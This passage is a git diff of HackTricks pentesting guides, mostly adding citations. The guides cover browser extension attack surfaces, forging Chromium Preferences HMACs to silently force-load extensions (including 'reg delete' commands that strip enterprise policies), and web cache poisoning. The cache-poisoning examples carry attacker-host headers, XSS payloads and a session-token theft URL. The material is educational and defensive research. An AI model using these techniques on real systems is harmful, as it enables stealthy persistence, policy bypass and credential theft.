a/src/pentesting-web/browser-extension-pentesting-methodology/README.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/README.md @@ -4,11 +4,11 @@ ## Basic Information -Browser extensions are written in JavaScript and loaded by the browser in the background. It has its [DOM](https://www.w3schools.com/js/js_htmldom.asp) but can interact with other sites' DOMs. This means that it may compromise other sites' confidentiality, integrity, and availability (CIA). +Browser extensions are written in JavaScript and loaded by the browser in the background. It has its [DOM](https://www.w3schools.com/js/js_htmldom.asp) but can interact with other sites' DOMs. This means that it may compromise other sites' confidentiality, integrity, and availability (CIA).[[1]](#references) ## Main Components -Extension layouts look best when visualised and consists of three components. Let’s look at each component in depth. +Extension layouts look best when visualised and consists of three components. Let’s look at each component in depth.[[12]](#references)

http://webblaze.cs.berkeley.edu/papers/Extensions.pdf

@@ -35,7 +35,7 @@ Moreover, content scripts separate from their associated web pages by **running ## **`manifest.json`** -A Chrome extension is just a ZIP folder with a [.crx file extension](https://www.lifewire.com/crx-file-2620391). The extension's core is the **`manifest.json`** file at the root of the folder, which specifies layout, permissions, and other configuration options. +A Chrome extension is just a ZIP folder with a [.crx file extension](https://www.lifewire.com/crx-file-2620391). The extension's core is the **`manifest.json`** file at the root of the folder, which specifies layout, permissions, and other configuration options.[[2]](#references) Example: @@ -100,7 +100,7 @@ chrome.storage.local.get("message", (result) => { A message is sent to the extension pages by the content script when this button is clicked, through the utilization of the [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). This is due to the content script's limitation in direct access to APIs, with `storage` being among the few exceptions. For functionalities beyond these exceptions, messages are sent to extension pages which content scripts can communicate with. > [!WARNING] -> Depending on the browser, the capabilities of the content script may vary slightly. For Chromium-based browsers, the capabilities list is available in the [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), and for Firefox, the [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) serves as the primary source.\ +> Depending on the browser, the capabilities of the content script may vary slightly. For Chromium-based browsers, the capabilities list is available in the [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), and for Firefox, the [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) serves as the primary source.[[5]](#references)\ > It is also noteworthy that content scripts have the ability to communicate with background scripts, enabling them to perform actions and relay responses back. For viewing and debugging content scripts in Chrome, the Chrome developer tools menu can be accessed from Options > More tools > Developer tools OR by pressing Ctrl + Shift + I. @@ -226,7 +226,7 @@ chrome.scripting.registerContentScripts([ ### `background` -Messages sent by content scripts are received by the **background page**, which serves a central role in coordinating the extension's components. Notably, the background page persists across the extension's lifetime, operating discreetly without direct user interaction. It possesses its own Document Object Model (DOM), enabling complex interactions and state management. +Messages sent by content scripts are received by the **background page**, which serves a central role in coordinating the extension's components. Notably, the background page persists across the extension's lifetime, operating discreetly without direct user interaction. It possesses its own Document Object Model (DOM), enabling complex interactions and state management.[[7]](#references) **Key Points**: @@ -270,7 +270,7 @@ Note that these pages aren't persistent like background pages as they load dynam ### `permissions` & `host_permissions` -**`permissions`** and **`host_permissions`** are entries from the `manifest.json` that will indicate **which permissions** the browser extensions has (storage, location...) and in **which web pages**. +**`permissions`** and **`host_permissions`** are entries from the `manifest.json` that will indicate **which permissions** the browser extensions has (storage, location...) and in **which web pages**.[[3]](#references) As browser extensions can be so **privileged**, a malicious one or one being compromised could allow the attacker **different means to steal sensitive information and spy on the user**. @@ -300,7 +300,7 @@ For more info about CSP and potential bypasses check: ### `web_accessible_resources` -in order for a webpage to access a page of a Browser Extension, a `.html` page for example, this page needs to be mentioned in the **`web_accessible_resources`** field of the `manifest.json`.\ +in order for a webpage to access a page of a Browser Extension, a `.html` page for example, this page needs to be mentioned in the **`web_accessible_resources`** field of the `manifest.json`.[[4]](#references)\ For example: ```javascript @@ -352,7 +352,7 @@ browext-clickjacking.md ### `externally_connectable` -A per the [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), The `"externally_connectable"` manifest property declares **which extensions and web pages can connect** to your extension via [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) and [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage). +A per the [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable)[[6]](#references), The `"externally_connectable"` manifest property declares **which extensions and web pages can connect** to your extension via [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) and [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage). - If the **`externally_connectable`** key is **not** declared in your extension's manifest or it's declared as **`"ids": ["*"]`**, **all extensions can connect, but no web pages can connect**. - If **specific IDs are specified**, like in `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **only those applications** can connect. @@ -373,11 +373,11 @@ The **less extensions and URLs** indicated here, the **smaller the attack surfac > > Therefore, this is a **very powerful bypass**. > -> Moreover, if the client installs a rouge extension, even if it isn't allowed to communicate with the vulnerable extension, it could inject **XSS data in an allowed web page** or abuse **`WebRequest`** or **`DeclarativeNetRequest`** APIs to manipulate requests on a targeted domain altering a page's request for a **JavaScript file**. (Note that CSP on the targeted page could prevent these attacks). This idea comes [**from this writeup**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability). +> Moreover, if the client installs a rouge extension, even if it isn't allowed to communicate with the vulnerable extension, it could inject **XSS data in an allowed web page** or abuse **`WebRequest`** or **`DeclarativeNetRequest`** APIs to manipulate requests on a targeted domain altering a page's request for a **JavaScript file**. (Note that CSP on the targeted page could prevent these attacks). This idea comes [**from this writeup**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).[[14]](#references) #### Wildcard-trusted web origins to privileged action injection -If an extension exposes a **high-privilege message handler** to the web via `externally_connectable`, avoid trusting a broad pattern such as `https://*.example.com/*`. A single **XSS**, **subdomain takeover**, or **vendor widget compromise** on any matching subdomain becomes equivalent to owning the extension's web-facing API. +If an extension exposes a **high-privilege message handler** to the web via `externally_connectable`, avoid trusting a broad pattern such as `https://*.example.com/*`. A single **XSS**, **subdomain takeover**, or **vendor widget compromise** on any matching subdomain becomes equivalent to owning the extension's web-facing API.[[11]](#references) Typical exploitation path: @@ -552,7 +552,7 @@ document.getElementById("theButton").addEventListener( ) ``` -A secure Post Message communication should check the authenticity of the received message, this can be done checking: +A secure Post Message communication should check the authenticity of the received message, this can be done checking:[[1]](#references) - **`event.isTrusted`**: This is True only if the event was triggered by a users action - The content script might expecting a message only if the user performs some action @@ -671,7 +671,7 @@ chrome.runtime.sendNativeMessage( ) ``` -In [**this blog post**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/), a vulnerable pattern abusing native messages is proposed: +In [**this blog post**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/)[[13]](#references), a vulnerable pattern abusing native messages is proposed: 1. Browser extension has a wildcard pattern for content script. 2. Content script passes `postMessage` messages to the background script using `sendMessage`. @@ -682,7 +682,7 @@ And inside of it an example of **going from any page to RCE abusing a browser ex ## Sensitive Information in Memory/Code/Clipboard -If a Browser Extension stores **sensitive information inside it's memory**, this could be **dumped** (specially in Windows machines) and **searched** for this information. +If a Browser Extension stores **sensitive information inside it's memory**, this could be **dumped** (specially in Windows machines) and **searched** for this information.[[1]](#references) Therefore, the memory of the Browser Extension **shouldn't be considered secure** and **sensitive information** such as credentials or mnemonic phrases **shouldn't be stored**. @@ -702,7 +702,7 @@ In **Firefox** you go to **`about:debugging#/runtime/this-firefox`** and click * ## Getting the source code from the store -The source code of a Chrome extension can be obtained through various methods. Below are detailed explanations and instructions for each option. +The source code of a Chrome extension can be obtained through various methods. Below are detailed explanations and instructions for each option.[[9]](#references) ### Download Extension as ZIP via Command Line @@ -748,7 +748,7 @@ Open Chrome and go to `chrome://extensions/`. Enable "Developer mode" at the top ## Chrome extension manifest dataset -In order to try to spot vulnerable browser extensions you could use the[https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) and check their manifest files for potentially vulnerable signs. For example to check for extensions with more than 25000 users, `content_scripts` and the permission `nativeMessaing`: +In order to try to spot vulnerable browser extensions you could use the[https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) and check their manifest files for potentially vulnerable signs. For example to check for extensions with more than 25000 users, `content_scripts` and the permission `nativeMessaing`:[[13]](#references) ```bash # Query example from https://spaceraccoon.dev/universal-code-execution-browser-extensions/ @@ -765,7 +765,7 @@ forced-extension-load-preferences-mac-forgery-windows.md ## Detecting Malicious Extension Updates (Static Version Diffing) -Supply-chain compromises often arrive as **malicious updates** to previously benign extensions. A practical, low-noise approach is to **compare a new extension package against the last known-good version** using static analysis (for example, [Assemblyline](https://github.com/CybercentreCanada/assemblyline)). The goal is to alert on **high-signal deltas** rather than on any change. +Supply-chain compromises often arrive as **malicious updates** to previously benign extensions. A practical, low-noise approach is to **compare a new extension package against the last known-good version** using static analysis (for example, [Assemblyline](https://github.com/CybercentreCanada/assemblyline)). The goal is to alert on **high-signal deltas** rather than on any change.[[10]](#references) ### Workflow @@ -799,7 +799,7 @@ Key Assemblyline services for this workflow: ## Security Audit Checklist -Even though Browser Extensions have a **limited attack surface**, some of them might contain **vulnerabilities** or **potential hardening improvements**. The following ones are the most common ones: +Even though Browser Extensions have a **limited attack surface**, some of them might contain **vulnerabilities** or **potential hardening improvements**. The following ones are the most common ones:[[8]](#references) - [ ] **Limit** as much as possible requested **`permissions`** - [ ] **Limit** as much as possible **`host_permissions`** @@ -827,7 +827,7 @@ Even though Browser Extensions have a **limited attack surface**, some of them m ### [**Tarnish**](https://thehackerblog.com/tarnish/) -- Pulls any Chrome extension from a provided Chrome webstore link. +- Pulls any Chrome extension from a provided Chrome webstore link.[[1]](#references) - [**manifest.json**](https://developer.chrome.com/extensions/manifest) **viewer**: simply displays a JSON-prettified version of the extension’s manifest. - **Fingerprint Analysis**: Detection of [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) and automatic generation of Chrome extension fingerprinting JavaScript. - **Potential Clickjacking Analysis**: Detection of extension HTML pages with the [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) directive set. These are potentially vulnerable to clickjacking depending on the purpose of the pages. @@ -856,18 +856,21 @@ Project Neto is a Python 3 package conceived to analyse and unravel hidden featu ## References -- **Thanks to** [**@naivenom**](https://twitter.com/naivenom) **for the help with this methodology** -- [https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing) -- [https://palant.info/2022/08/10/anatomy-of-a-basic-extension/](https://palant.info/2022/08/10/anatomy-of-a-basic-extension/) -- [https://palant.info/2022/08/24/attack-surface-of-extension-pages/](https://palant.info/2022/08/24/attack-surface-of-extension-pages/) -- [https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/) -- [https://help.passbolt.com/assets/files/PBL-02-report.pdf](https://help.passbolt.com/assets/files/PBL-02-report.pdf) -- [https://developer.chrome.com/docs/extensions/develop/concepts/content-scripts](https://developer.chrome.com/docs/extensions/develop/concepts/content-scripts) -- [https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable) -- [https://developer.chrome.com/docs/extensions/mv2/background-pages](https://developer.chrome.com/docs/extensions/mv2/background-pages) -- [https://thehackerblog.com/kicking-the-rims-a-guide-for-securely-writing-and-auditing-chrome-extensions/](https://thehackerblog.com/kicking-the-rims-a-guide-for-securely-writing-and-auditing-chrome-extensions/) -- [https://gist.github.com/LongJohnCoder/9ddf5735df3a4f2e9559665fb864eac0](https://gist.github.com/LongJohnCoder/9ddf5735df3a4f2e9559665fb864eac0) -- [https://redcanary.com/blog/threat-detection/assemblyline-browser-extensions/](https://redcanary.com/blog/threat-detection/assemblyline-browser-extensions/) -- [https://www.koi.ai/blog/shadowprompt-how-any-website-could-have-hijacked-anthropic-claude-chrome-extension](https://www.koi.ai/blog/shadowprompt-how-any-website-could-have-hijacked-anthropic-claude-chrome-extension) +**Thanks to** [**@naivenom**](https://twitter.com/naivenom) **for the help with this methodology** + +- [1] [Introduction to Chrome Browser Extension Security Testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing) +- [2] [Anatomy of a Basic Extension](https://palant.info/2022/08/10/anatomy-of-a-basic-extension/) +- [3] [Attack Surface of Extension Pages](https://palant.info/2022/08/24/attack-surface-of-extension-pages/) +- [4] [When Extension Pages Are Web-Accessible](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/) +- [5] [Content scripts - Chrome for Developers](https://developer.chrome.com/docs/extensions/develop/concepts/content-scripts) +- [6] [externally_connectable - Chrome for Developers](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable) +- [7] [Background Pages (Manifest V2) - Chrome for Developers](https://developer.chrome.com/docs/extensions/mv2/background-pages) +- [8] [Kicking the Rims: A Guide for Securely Writing and Auditing Chrome Extensions](https://thehackerblog.com/kicking-the-rims-a-guide-for-securely-writing-and-auditing-chrome-extensions/) +- [9] [How to View Source of a Chrome Extension (gist)](https://gist.github.com/LongJohnCoder/9ddf5735df3a4f2e9559665fb864eac0) +- [10] [Moving up the Assemblyline: Exposing Malicious Code in Browser Extensions](https://redcanary.com/blog/threat-detection/assemblyline-browser-extensions/) +- [11] [ShadowPrompt: How Any Website Could Have Hijacked Anthropic's Claude Chrome Extension](https://www.koi.ai/blog/shadowprompt-how-any-website-could-have-hijacked-anthropic-claude-chrome-extension) +- [12] [An Evaluation of the Google Chrome Extension Security Architecture](http://webblaze.cs.berkeley.edu/papers/Extensions.pdf) +- [13] [Universal Code Execution in Browser Extensions](https://spaceraccoon.dev/universal-code-execution-browser-extensions/) +- [14] [Opera Browser Zero-Day RCE Vulnerability on Cross-Platforms](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md b/src/pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md index 931a9cc7280..c7feaba9eb0 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md @@ -4,7 +4,7 @@ ## Overview -Stealthy post-exploitation technique to force-load arbitrary extensions in Chromium-based browsers on Windows by editing a user’s Preferences/Secure Preferences and forging valid HMACs for the modified nodes. Works against Chrome/Chromium, Edge, and Brave. Observed to apply from Chromium 130 through 139 at publication time. A simple disk write primitive in the victim profile suffices to persist a full-privileged extension without command-line flags or user prompts. +Stealthy post-exploitation technique to force-load arbitrary extensions in Chromium-based browsers on Windows by editing a user’s Preferences/Secure Preferences and forging valid HMACs for the modified nodes. Works against Chrome/Chromium, Edge, and Brave. Observed to apply from Chromium 130 through 139 at publication time. A simple disk write primitive in the victim profile suffices to persist a full-privileged extension without command-line flags or user prompts.[[1]](#references) > Key idea: Chromium stores per-user extension state in a JSON preferences file and protects it with HMAC-SHA256. If you compute valid MACs with the browser’s embedded seed and write them next to your injected nodes, the browser accepts and activates your extension entry. @@ -52,7 +52,7 @@ Simplified schema (illustrative): ``` Notes: -- Edge/Brave maintain similar structures. The protection seed value may differ (Edge/Brave were observed to use a null/other seed in some builds). +- Edge/Brave maintain similar structures. The protection seed value may differ (Edge/Brave were observed to use a null/other seed in some builds).[[1]](#references) ## Extension IDs: path vs key and making them deterministic @@ -61,7 +61,7 @@ Chromium derives the extension ID as follows: - Packed/signed extension: ID = SHA‑256 over DER‑encoded SubjectPublicKeyInfo (SPKI) → take first 32 hex chars → map 0–f to a–p - Unpacked (no key in manifest): ID = SHA‑256 over the absolute installation path bytes → map 0–f to a–p -To keep a stable ID across hosts, embed a fixed base64 DER public key in manifest.json under "key". The ID will be derived from this key instead of the installation path. +To keep a stable ID across hosts, embed a fixed base64 DER public key in manifest.json under "key". The ID will be derived from this key instead of the installation path.[[1]](#references) Helper to generate a deterministic ID and a key pair: @@ -105,9 +105,9 @@ Add the generated public key into your manifest.json to lock the ID: ## Forging Preferences integrity MACs (core bypass) -Chromium protects preferences with HMAC‑SHA256 over "path" + serialized JSON value of each node. The HMAC seed is embedded in the browser’s resources.pak and was still valid up to Chromium 139. +Chromium protects preferences with HMAC‑SHA256 over "path" + serialized JSON value of each node. The HMAC seed is embedded in the browser’s resources.pak and was still valid up to Chromium 139.[[1]](#references)[[3]](#references) -Extract the seed with GRIT pak_util and locate the seed container (file id 146 in tested builds): +Extract the seed with GRIT pak_util[[2]](#references) and locate the seed container (file id 146 in tested builds): ```bash python3 pak_util.py extract resources.pak -o resources_v139/ @@ -154,7 +154,7 @@ Browser differences: on Microsoft Edge and Brave the seed may be null/different. > Implementation tips > - Use exactly the same JSON serialization Chromium uses when computing MACs (compact JSON without whitespace is safe in practice; sorting keys may help avoid ordering issues). -> - Ensure extensions.ui.developer_mode exists and is signed on Chromium ≥134, or your unpacked entry won’t activate. +> - Ensure extensions.ui.developer_mode exists and is signed on Chromium ≥134, or your unpacked entry won’t activate.[[1]](#references) ## End‑to‑end silent load flow (Windows) @@ -162,7 +162,7 @@ Browser differences: on Microsoft Edge and Brave the seed may be null/different. 1) Generate a deterministic ID and embed "key" in manifest.json; prepare an unpacked MV3 extension with desired permissions (service worker/content scripts) 2) Create extensions.settings. by embedding the manifest and minimal install metadata required by Chromium (state, path for unpacked, etc.) 3) Extract the HMAC seed from resources.pak (file 146) and compute two MACs: one for the settings node and one for extensions.ui.developer_mode (Chromium ≥134) -4) Write the crafted nodes and MACs into the target profile’s Preferences/Secure Preferences; next launch will auto‑activate your extension with full declared privileges +4) Write the crafted nodes and MACs into the target profile’s Preferences/Secure Preferences; next launch will auto‑activate your extension with full declared privileges[[1]](#references) ## Bypassing enterprise controls @@ -171,14 +171,14 @@ Browser differences: on Microsoft Edge and Brave the seed may be null/different. 1) Install an allowed Web Store extension and note its ID 2) Obtain its public key (e.g., via chrome.runtime.getManifest().key in the background/service worker or by fetching/parsing its .crx) 3) Set that key as manifest.key in your modified extension to reproduce the same ID - 4) Register the entry in Preferences and sign the MACs → ExtensionInstallAllowlist checks that match on ID only are bypassed + 4) Register the entry in Preferences and sign the MACs → ExtensionInstallAllowlist checks that match on ID only are bypassed[[1]](#references) - Extension stomping (ID collision precedence) - - If a local unpacked extension shares an ID with an installed Web Store extension, Chromium prefers the unpacked one. This effectively replaces the legitimate extension in chrome://extensions while preserving the trusted ID. Verified on Chrome and Edge (e.g., Adobe PDF) + - If a local unpacked extension shares an ID with an installed Web Store extension, Chromium prefers the unpacked one. This effectively replaces the legitimate extension in chrome://extensions while preserving the trusted ID. Verified on Chrome and Edge (e.g., Adobe PDF)[[1]](#references) - Neutralizing GPO via HKCU (requires admin) - Chrome/Edge policies live under HKCU\Software\Policies\* - - With admin rights, delete/modify policy keys before writing your entries to avoid blocks: + - With admin rights, delete/modify policy keys before writing your entries to avoid blocks:[[1]](#references) ```powershell reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallAllowlist" /f @@ -194,7 +194,7 @@ From Chromium ≥137, --load-extension requires also passing: --disable-features=DisableLoadExtensionCommandLineSwitch ``` -This approach is widely known and monitored (e.g., by EDR/DFIR; used by commodity malware like Chromeloader). Preference MAC forging is stealthier. +This approach is widely known and monitored (e.g., by EDR/DFIR; used by commodity malware like Chromeloader). Preference MAC forging is stealthier.[[1]](#references) Related flags and more cross‑platform tricks are discussed here: @@ -205,7 +205,7 @@ Related flags and more cross‑platform tricks are discussed here: ## Operational impact -Once accepted, the extension runs with its declared permissions, enabling DOM access, request interception/redirects, cookie/storage access, and screenshot capture—effectively in‑browser code execution and durable user‑profile persistence. Remote deployment over SMB or other channels is straightforward because activation is data‑driven via Preferences. +Once accepted, the extension runs with its declared permissions, enabling DOM access, request interception/redirects, cookie/storage access, and screenshot capture—effectively in‑browser code execution and durable user‑profile persistence. Remote deployment over SMB or other channels is straightforward because activation is data‑driven via Preferences.[[1]](#references)[[4]](#references) ## Detection and hardening @@ -213,14 +213,14 @@ Once accepted, the extension runs with its declared permissions, enabling DOM ac - Monitor for non‑Chromium processes writing to Preferences/Secure Preferences, especially new nodes under extensions.settings paired with protection.macs entries - Alert on unexpected toggling of extensions.ui.developer_mode and on HMAC‑valid but unapproved extension entries - Audit HKCU/HKLM Software\Policies for tampering; enforce policies via device management/Chrome Browser Cloud Management -- Prefer forced‑install from the store with verified publishers rather than allowlists that match only on extension ID +- Prefer forced‑install from the store with verified publishers rather than allowlists that match only on extension ID[[1]](#references) ## References -- [The Phantom Extension: Backdooring chrome through uncharted pathways](https://www.synacktiv.com/en/publications/the-phantom-extension-backdooring-chrome-through-uncharted-pathways.html) -- [pak_util.py (GRIT)](https://chromium.googlesource.com/chromium/src/+/master/tools/grit/pak_util.py) -- [SecurePreferencesFile (prior research on HMAC seed)](https://github.com/Pica4x6/SecurePreferencesFile) -- [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome) +- [1] [The Phantom Extension: Backdooring chrome through uncharted pathways](https://www.synacktiv.com/en/publications/the-phantom-extension-backdooring-chrome-through-uncharted-pathways.html) +- [2] [pak_util.py (GRIT)](https://chromium.googlesource.com/chromium/src/+/master/tools/grit/pak_util.py) +- [3] [SecurePreferencesFile (prior research on HMAC seed)](https://github.com/Pica4x6/SecurePreferencesFile) +- [4] [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/bypass-payment-process.md b/src/pentesting-web/bypass-payment-process.md index 024105736a6..be491fd5607 100644 --- a/src/pentesting-web/bypass-payment-process.md +++ b/src/pentesting-web/bypass-payment-process.md @@ -39,6 +39,3 @@ If you encounter a parameter that contains a URL, especially one following the p 2. **Modify Responses**: Attempt to modify the responses before they are processed by the browser or the application to simulate a successful transaction scenario. {{#include ../banners/hacktricks-training.md}} - - - diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md index 56ca0dd3224..4936fb87045 100644 --- a/src/pentesting-web/cache-deception/README.md +++ b/src/pentesting-web/cache-deception/README.md @@ -11,7 +11,7 @@ ## Cache Poisoning -Cache poisoning is aimed at manipulating the client-side cache to force clients to load resources that are unexpected, partial, or under the control of an attacker. The extent of the impact is contingent on the popularity of the affected page, as the tainted response is served exclusively to users visiting the page during the period of cache contamination. +Cache poisoning is aimed at manipulating the client-side cache to force clients to load resources that are unexpected, partial, or under the control of an attacker. The extent of the impact is contingent on the popularity of the affected page, as the tainted response is served exclusively to users visiting the page during the period of cache contamination.[[1]](#references) The execution of a cache poisoning assault involves several steps: @@ -59,7 +59,7 @@ Another interesting header is **`Vary`**. This header is often used to **indicat One more header related to the cache is **`Age`**. It defines the times in seconds the object has been in the proxy cache. -When caching a request, be **careful with the headers you use** because some of them could be **used unexpectedly** as **keyed** and the **victim will need to use that same header**. Always **test** a Cache Poisoning with **different browsers** to check if it's working. +When caching a request, be **careful with the headers you use** because some of them could be **used unexpectedly** as **keyed** and the **victim will need to use that same header**. Always **test** a Cache Poisoning with **different browsers** to check if it's working.[[1]](#references) ### Foundational cache poisoning case studies @@ -74,7 +74,7 @@ Host: hackerone.com X-Forwarded-Host: evil.com ``` -- Immediately re-request `/` without the spoofed header; if the redirect persists you have a global host-spoofing primitive that often upgrades reflected redirects/Open Graph links into stored issues. +- Immediately re-request `/` without the spoofed header; if the redirect persists you have a global host-spoofing primitive that often upgrades reflected redirects/Open Graph links into stored issues.[[15]](#references) #### GitHub repository DoS via `Content-Type` + `PURGE` @@ -86,7 +86,7 @@ curl -H "Content-Type: invalid-value" https://github.com/user/repo curl -X PURGE https://github.com/user/repo ``` -- Always compare authenticated vs anonymous cache keys, fuzz rarely keyed headers such as `Content-Type`, and probe for exposed cache-maintenance verbs to automate re-poisoning. +- Always compare authenticated vs anonymous cache keys, fuzz rarely keyed headers such as `Content-Type`, and probe for exposed cache-maintenance verbs to automate re-poisoning.[[15]](#references) #### Shopify cross-host persistence loops @@ -102,7 +102,7 @@ for i in range(100): print("attacker.com" in requests.get("https://shop.shopify.com/endpoint").text) ``` -- After a `hit` response, crawl other hosts/assets that share the same cache namespace to demonstrate cross-domain blast radius. +- After a `hit` response, crawl other hosts/assets that share the same cache namespace to demonstrate cross-domain blast radius.[[15]](#references) #### JS asset redirect → stored XSS chain @@ -114,7 +114,7 @@ Host: target.com X-Forwarded-Host: attacker.com ``` -- Map which hosts reuse the same asset path so you can prove multi-subdomain compromise. +- Map which hosts reuse the same asset path so you can prove multi-subdomain compromise.[[15]](#references) #### GitLab static DoS via `X-HTTP-Method-Override` @@ -126,7 +126,7 @@ Host: gitlab.com X-HTTP-Method-Override: HEAD ``` -- A single request replaced the JS bundle with an empty body for every GET, effectively DoSing the UI. Always test method overrides (`X-HTTP-Method-Override`, `X-Method-Override`, etc.) against static assets and confirm whether the cache varies on method. +- A single request replaced the JS bundle with an empty body for every GET, effectively DoSing the UI. Always test method overrides (`X-HTTP-Method-Override`, `X-Method-Override`, etc.) against static assets and confirm whether the cache varies on method.[[15]](#references) #### HackerOne static asset loop via `X-Forwarded-Scheme` @@ -138,7 +138,7 @@ Host: hackerone.com X-Forwarded-Scheme: http ``` -- Combine scheme spoofing with host spoofing when possible to craft irreversible redirects for highly visible resources. +- Combine scheme spoofing with host spoofing when possible to craft irreversible redirects for highly visible resources.[[15]](#references) #### Cloudflare host-header casing mismatch @@ -149,7 +149,7 @@ GET / HTTP/1.1 Host: TaRgEt.CoM ``` -- Enumerate CDN tenants by replaying mixed-case hosts (and other normalized headers) and diff the cached response versus the origin response to uncover shared-platform cache poisonings. +- Enumerate CDN tenants by replaying mixed-case hosts (and other normalized headers) and diff the cached response versus the origin response to uncover shared-platform cache poisonings.[[15]](#references) #### Red Hat Open Graph meta poisoning @@ -161,7 +161,7 @@ Host: www.redhat.com X-Forwarded-Host: a."?> ``` -- Social media scrapers consume cached Open Graph tags, so a single poisoned entry distributes the payload far beyond direct visitors. +- Social media scrapers consume cached Open Graph tags, so a single poisoned entry distributes the payload far beyond direct visitors.[[15]](#references) ## Exploiting Examples @@ -176,7 +176,7 @@ Host: innocent-website.com X-Forwarded-Host: a.">" ``` -_Note that this will poison a request to `/en?region=uk` not to `/en`_ +_Note that this will poison a request to `/en?region=uk` not to `/en`_[[1]](#references) ### Cache poisoning to DoS @@ -191,7 +191,7 @@ In **[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.h - The CDN will cache anything under `/share/` - The CDN will NOT decode nor normalize `%2F..%2F`, therfore, it can be used as **path traversal to access other sensitive locations that will be cached** like `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` -- The web server WILL decode and normalize `%2F..%2F`, and will respond with `/api/auth/session`, which **contains the auth token**. +- The web server WILL decode and normalize `%2F..%2F`, and will respond with `/api/auth/session`, which **contains the auth token**.[[4]](#references) ### Using web cache poisoning to exploit cookie-handling vulnerabilities @@ -203,7 +203,7 @@ Host: vulnerable.com Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b" ``` -Note that if the vulnerable cookie is very used by the users, regular requests will be cleaning the cache. +Note that if the vulnerable cookie is very used by the users, regular requests will be cleaning the cache.[[2]](#references) ### Generating discrepancies with delimiters, normalization and dots @@ -216,7 +216,7 @@ cache-poisoning-via-url-discrepancies.md ### Cache poisoning with path traversal to steal API key -[**This writeup explains**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) how it was possible to steal an OpenAI API key with an URL like `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` because anything matching `/share/*` will be cached without Cloudflare normalising the URL, which was done when the request reached the web server. +[**This writeup explains**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) how it was possible to steal an OpenAI API key with an URL like `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` because anything matching `/share/*` will be cached without Cloudflare normalising the URL, which was done when the request reached the web server.[[4]](#references) This is also explained better in: @@ -227,7 +227,7 @@ cache-poisoning-via-url-discrepancies.md ### Using multiple headers to exploit web cache poisoning vulnerabilities -Sometimes you will need to **exploit several unkeyed inputs** to be able to abuse a cache. For example, you may find an **Open redirect** if you set `X-Forwarded-Host` to a domain controlled by you and `X-Forwarded-Scheme` to `http`.**If** the **server** is **forwarding** all the **HTTP** requests **to HTTPS** and using the header `X-Forwarded-Scheme` as the domain name for the redirect. You can control where the page is pointed by the redirect. +Sometimes you will need to **exploit several unkeyed inputs** to be able to abuse a cache. For example, you may find an **Open redirect** if you set `X-Forwarded-Host` to a domain controlled by you and `X-Forwarded-Scheme` to `http`.**If** the **server** is **forwarding** all the **HTTP** requests **to HTTPS** and using the header `X-Forwarded-Scheme` as the domain name for the redirect. You can control where the page is pointed by the redirect.[[7]](#references) ```html GET /resources/js/tracking.js HTTP/1.1 @@ -284,11 +284,11 @@ This real-world pattern chains a header-based reflection primitive with CDN/WAF - The main HTML reflected an untrusted request header (e.g., `User-Agent`) into executable context. - The CDN stripped cache headers but an internal/origin cache existed. The CDN also auto-cached requests ending in static extensions (e.g., `.js`), while the WAF applied weaker content inspection to GETs for static assets. -- Request flow quirks allowed a request to a `.js` path to influence the cache key/variant used for the subsequent main HTML, enabling cross-user XSS via header reflection. +- Request flow quirks allowed a request to a `.js` 